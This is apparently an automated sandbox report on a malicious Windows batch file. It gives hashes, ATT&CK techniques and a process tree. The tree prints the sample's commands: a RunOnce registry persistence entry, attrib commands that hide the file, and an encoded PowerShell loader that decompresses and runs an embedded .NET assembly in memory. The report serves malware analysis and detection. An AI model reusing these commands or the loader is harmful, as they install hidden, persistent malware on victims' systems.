Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
09-11-2024 19:11
Static task
static1
Behavioral task
behavioral1
Sample
New folder/08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
New folder/08db9ff2e3e0d4b4eae7de9bb07e0fd7c64ed74954e2cf5766fc2e23a0db7d8d.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
New folder/8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
New folder/8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
New folder/fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat
Resource
win7-20241023-en
Behavioral task
behavioral6
Sample
New folder/fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat
Resource
win10v2004-20241007-en
General
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Target
New folder/fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat
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Size
1.2MB
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MD5
3facdad0ee9326a9fe96750fd6882fec
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SHA1
e13554f1e181271f441d7ccea3f7df2ae3e47b86
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SHA256
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9
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SHA512
02647213a32a323c4b2328641a1f4969ae30e66d31ca9c1629466b1ee7dfb9cb7abb08c2ab070e60a514f4167e39988eb21ffdf02c33f164e39a942b312e8244
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SSDEEP
24576:Ldj7jHnhLUJXBLqjfauCZB1wl9UITPPo6jNQQrccVuS8rSE1try6Q+xO7IM:h0XBe20xPg6wxJK
Malware Config
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Executes dropped EXE 1 IoCs
Processes:
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exepid process 2452 fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9 = "C:\\Users\\Admin\\AppData\\Roaming\\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat" reg.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exepid process 2452 fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exepid process 2452 fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exedescription pid process Token: SeDebugPrivilege 2452 fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
cmd.exedescription pid process target process PID 2084 wrote to memory of 2432 2084 cmd.exe reg.exe PID 2084 wrote to memory of 2432 2084 cmd.exe reg.exe PID 2084 wrote to memory of 2432 2084 cmd.exe reg.exe PID 2084 wrote to memory of 2660 2084 cmd.exe attrib.exe PID 2084 wrote to memory of 2660 2084 cmd.exe attrib.exe PID 2084 wrote to memory of 2660 2084 cmd.exe attrib.exe PID 2084 wrote to memory of 2452 2084 cmd.exe fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe PID 2084 wrote to memory of 2452 2084 cmd.exe fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe PID 2084 wrote to memory of 2452 2084 cmd.exe fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe PID 2084 wrote to memory of 2452 2084 cmd.exe fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe PID 2084 wrote to memory of 2312 2084 cmd.exe attrib.exe PID 2084 wrote to memory of 2312 2084 cmd.exe attrib.exe PID 2084 wrote to memory of 2312 2084 cmd.exe attrib.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 2660 attrib.exe 2312 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9 /d "C:\Users\Admin\AppData\Roaming\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"2⤵
- Adds Run key to start application
PID:2432
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C:\Windows\system32\attrib.exeattrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2660
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C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe"C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgACMAKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAjACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
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C:\Windows\system32\attrib.exeattrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe2⤵
- Views/modifies file attributes
PID:2312
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe
Filesize442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f